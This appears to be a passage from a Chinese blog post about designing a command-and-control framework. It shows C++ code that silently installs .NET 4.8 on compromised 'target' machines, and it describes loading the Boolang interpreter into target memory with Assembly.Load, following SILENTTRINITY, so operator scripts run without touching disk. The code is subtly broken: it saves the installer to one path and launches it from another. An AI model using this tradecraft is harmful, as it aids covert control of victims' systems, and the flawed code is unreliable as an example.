如果直接Copy项目后打开出现很多错误,解决方案就是右击项目选择重定向项目,之后再右键项目选择重新扫描解决方案即可解决问题。
HttpInterface整合下载完成后使用CMD打开可查看其可选参数
我们只需要/q和/norestart参数即可完成静默安装,具体的代码实现如下
#include <iostream> #include <string> #include <windows.h> #include "IHttpDownloader.h" using std::wstring; #pragma comment(lib,"IHttp.lib") bool TestDownloadFile(const wchar_t* purl, const wchar_t* plocalpath) { IWinHttp* pHttp; bool bRet = CreateInstance((IHttpBase**)&pHttp, TypeWinHttp); if (!bRet) { return false; } CMyCallback cb; pHttp->SetDownloadCallback(&cb, NULL); //const wchar_t* pUrl = L"https://download.visualstudio.microsoft.com/download/pr/014120d7-d689-4305-befd-3cb711108212/1f81f3962f75eff5d83a60abd3a3ec7b/ndp48-web.exe"; //const wchar_t* pSavePath = L"e:\\temp\\ndp48-web.exe"; if (!pHttp->DownloadFile(purl, plocalpath)) { DWORD dwCode = GetLastError(); HttpInterfaceError error = pHttp->GetErrorCode(); pHttp->FreeInstance(); return false; } pHttp->FreeInstance(); return true; } bool RunDotnetInstaller(const wchar_t* plocalfile) { //传入指定路径 STARTUPINFO si = {0}; PROCESS_INFORMATION pi = { 0 }; wstring* pfile = new wstring(plocalfile); //wchar_t cmd[] = L"notepad.exe"; pfile->append(L" /q /norestart"); //运行添加参数 si.cb = sizeof(si); si.dwFlags = SW_SHOW; MessageBoxW(NULL, pfile->c_str(), L"message", MB_OK); if (!CreateProcessW(NULL,(LPWSTR) pfile->c_str(), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { std::cout << "Starting Installer failed!" << std::endl; delete pfile; return false; } std::cout << "Start installing successfully! Process ID is " << pi.dwProcessId << std::endl; DWORD status = WaitForSingleObject(pi.hProcess, INFINITE); //等待安装结束 if (status == WAIT_OBJECT_0) { std::cout << "Installation Complete!" << std::endl; } delete pfile; return true; } int main() { if (TestDownloadFile(L"https://download.visualstudio.microsoft.com/download/pr/014120d7-d689-4305-befd-3cb711108212/1f81f3962f75eff5d83a60abd3a3ec7b/ndp48-web.exe", L"h:\\demo\\ndp48-web.exe")) {//传入下载地址和保存地址 std::cout << "downloading complete!" << std::endl; if (RunDotnetInstaller(L"d:\\tmp\\ndp48-web.exe"))//静默安装 std::cout << "We are all set!" <<std::endl; } return true; }这个项目的功能很简单,就是从微软官方下载安装包,再在目标机器上进行静默安装,这样安装成功后目标系统就有了我们想要的4.8的环境,有了环境后咱们的那些功能就能正常使用了。还有一种方法就是直接将安装包通过TeamServer传给C端的Core直接进行安装这也是没问题的。
BooLang(图-1)
下面来讲第二个点,也是我想说的重点,就是从SILENTTRINITY上面去挖掘的一个点,它使用了一个第三方开发的动态语言Boolang,这个语言从创建时间来看应该是很早了,而且现在已经停止更新了,但是它有完整的源码,在我研究过之后发现很好用,先前在设计我们自己的C2的时候当时选择的插件语言是IronPython,插件第一个主要的任务是就是在本地进行功能扩展,另外类似Cobalt Strike是通过进行本地去写,实际上是在本地进行解析执行,然后实际要干的功能还是要通过网络传输传输到C端由C端去实际执行,而C端实际执行的就是那些真正的公用代码,比如说.net的Assembly之类。那么咱们的设计要比Cobalt Strike稍微增加一个功能,就是脚本不光可以用在本地,同样也支持将脚本传到目标系统内进行解析执行。当然这样要保证第一点就是在目标系统内执行得需要解释器,这个动态解释器肯定不能落地,这个Boolang其实最大的好处就是解析执行Boolang脚本只需要几个Assembly并且体积并不大,因为这个东西是基于.net去写的,所以只需要将解释器的dll(图-1)想办法传到C端上去,然后由C端进行直接通过Assembly.load这个方法把这些dll直接加载到内存里,然后加载成功之后再传过来的Boolang的脚本就可以被解析执行了。这个其实就是SILENTTRINITY最大的亮点。
SILENTTRINITY